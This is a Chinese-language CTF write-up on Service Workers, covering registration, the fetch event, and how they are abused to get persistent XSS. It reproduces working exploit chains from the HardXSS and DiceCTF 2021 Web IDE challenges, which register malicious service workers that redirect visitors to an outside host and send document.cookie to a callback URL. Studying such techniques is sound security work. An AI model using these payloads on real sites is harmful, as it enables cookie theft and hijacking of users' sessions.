闲置了很久的东西,在做dicectf2021的Web IDE的时候再次碰到这个东西,特此学学。
Service Worker下文简称sw,在我的理解看来就类似于一个filter,是介于服务器与客户端之间的一个中间人,它会拦截当前网站的所有请求,根据其编写的逻辑,在请求需要转发给服务器时进行转发,否则就使用离线缓存。
sw它算是一个独立的,运行在浏览器后台的脚本,因此用它来执行消耗大资源的程度时并不会对主线程造成阻塞;Service Worker 是一个浏览器中的进程而不是浏览器内核下的线程,因此它在被注册安装之后,能够被在多个页面中使用,也不会因为页面的关闭而被销毁。
出于安全考虑,sw需要基于https协议来运行,而为了开发者方便,localhost下同样可以使用sw。
笔者采用:https://replit.com/ 部署我的sw。
index.html:
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('./sw.js', { scope: './' })
.then(function (reg) {
console.log('success', reg);
})
.catch(function (err) {
console.log('fail', err);
});
}
</script>
通过navigator.serviceWorker.register注册sw.js脚本即可完成注册,需要注意的是这个脚本的 Content-Type
必须是 text/javascript
;其中的scope是sw可控的的url范围,例如修改为/sw/sw.js时,当scope仍保持为./时,此时会注册失败,此时若要注册需要将scope修改为./sw/
。
sw.js:
this.addEventListener('install', function (event) {
console.log('Service Worker install');
});
这里监听了install事件,sw在完成注册后会自动进行安装,此时install事件就会被执行。
我们能够在开发者工具中的application中看到安装了的sw:
值得关注的事件有如下:
其中xss的利用很大程度需要用到fetch事件。
fetch事件做的是每当sw向服务器发起请求的时候这个事件就会被触发,当然了有一个限制就是页面的路径不能大于 Service Worker 的 scope,不然 fetch 事件是无法被触发的。
fetch中可以对event.request和response作出如new Response或者clone()等处理,以此来修改返回内容。
fetch的demo(sw.js):
this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = '<script>alert("test")</script>';
var init = {headers: {"Content-Type": "text/html"}};
if (url.url === 'http://localhost/sw/target.html') {
var res = new Response(body, init);
event.respondWith(res.clone());
}
});
在前面讲到sw的用法的时候有提到过需要使用到一个js脚本,此时需要满足的一个点就是目标存在着一个可上传js文件的点。
一个比较常见的就是利用jsonp达成xss,但需要注意到的是navigator.serviceWorker.register无法加载跨域的js脚本,然而可以通过importScripts方法进行加载,当然了同样需要是https的资源,关于利用jsonp达成xss的情况本文不多描述,感兴趣的话可以找找西湖论剑的HardXSS,其有一个点是利用同一个主域下的A站的XSS给B站植入sw:
(from https://lightless.me/archives/XSS-With-Service-Worker.html)
这里贴一下其exp:
# 1.js
document.domain = "xss.eec5b2.challenge.gcsis.cn";
var iff = document.createElement('iframe');
iff.src = 'https://auth.xss.eec5b2.challenge.gcsis.cn/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//aa.hongjunxie.repl.co/2.js')//")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}
# 2.js
self.addEventListener('install', function(event) {
console.log('install ok!');
});
this.addEventListener('fetch', function (event) {
var url = event.request.clone();
console.log('url: ', url);
var body = "<script>location='https://aa.hongjunxie.repl.co/'+location.search;</script>";
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());
});
//提交https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=jsonp(%22//aa.hongjunxie.repl.co/1.js%22);// 给admin即可
先给document设置主域,然后通过iframe的contentWindow.eval去注册sw脚本。
而可上传js文件配合sw去达成xss的情况可以参考dicectf 2021的web ide,我的wp分析的比较烂就不分享了,可以参考:
https://blog.bi0s.in/2021/02/09/Web/DiceCTF21-WebIDE/
Payload:
<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save",
{
"headers": {
"content-type": "application/javascript",
},
"body": "
self.addEventListener('fetch', e=>{
if (e.request.method != 'GET') {
return;
}
e.respondWith(
new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',
{
headers:{
\\'content-type\\':\\'text/html\\'
}
}
));
});",
"method": "POST",
"mode": "cors",
"credentials": "include"
})
.then(response=>response.text())
.then(path=>{
[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path,
{
scope: '/ide/saves/'
}
)
});`, '*');
setTimeout(() => { location = 'https://web-ide.dicec.tf/ide/saves/' }, 1000)
})
</script>
本文原创于HhhM的博客,转载请标明出处。